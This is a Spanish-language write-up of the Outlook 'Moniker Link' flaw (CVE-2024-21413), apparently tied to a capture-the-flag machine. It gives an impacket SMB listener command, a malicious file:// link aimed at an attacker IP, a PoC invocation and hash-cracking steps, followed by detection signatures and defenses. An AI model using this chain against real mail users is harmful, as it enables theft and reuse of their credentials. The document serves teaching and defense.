Moniker Link in Microsoft Outlook (CVE-2024-21413)

CVE-2024-21413 (apodado Moniker Link) es un fallo de validación de entrada en Microsoft Outlook. Outlook trata de forma especial los enlaces tipo file://, pero si la ruta incluye un carácter ! (un moniker de COM, como file://servidor/recurso!algo), el cliente salta la Protected View y resuelve el recurso directamente. Apuntando ese recurso a un servidor SMB controlado por el atacante, Outlook intenta autenticarse contra él y filtra el hash NetNTLMv2 del usuario que lee el correo. En algunas configuraciones basta con que el mensaje se muestre en el panel de vista previa, sin clic.

El abuso típico encadena tres piezas:

1. Una cuenta de correo válida desde la que enviar el mensaje (en máquinas tipo Mailing se obtiene crackeando un hash filtrado del propio servidor de correo).
2. Un servidor SMB a la escucha para recoger la autenticación, p.ej. con impacket:

smbserver.py share $(pwd) -smb2support

1. Una PoC que componga el correo con el enlace malicioso (file://10.10.16.6/share/x!y) y lo envíe por SMTP al destinatario objetivo:

python3 exploit.py    # sender = cuenta controlada, recipient = víctima, link = SMB del atacante

Cuando la víctima abre (o previsualiza) el correo, el servidor SMB registra su usuario::DOMINIO:... NetNTLMv2, que se crackea offline con john/hashcat (-m 5600). Es un robo de credenciales, no una ejecución de código: el valor está en reutilizar la contraseña recuperada en otros servicios (SMB, WinRM, etc.).

Cómo detectarlo. El vector deja dos huellas. En la pasarela de correo, un mensaje cuyo cuerpo contiene un enlace file://.../...!... (el carácter ! del moniker es la firma) debe marcarse antes de la entrega. En el endpoint, OUTLOOK.EXE estableciendo una conexión SMB saliente hacia una IP externa justo al abrir o previsualizar un correo es anómalo, porque Outlook no habla SMB con Internet; un honeypot/canary SMB que registre cualquier autenticación entrante lo capta al instante. La fuga es un NetNTLMv2, así que la reutilización posterior de esa credencial (un 4624 desde un host inusual) cierra la cadena.

Defensa. Aplicar el parche de Microsoft (febrero de 2024); bloquear SMB saliente a redes no confiables; deshabilitar o restringir NTLM; y filtrar correos con enlaces sospechosos. CVSS ≈ 9.8.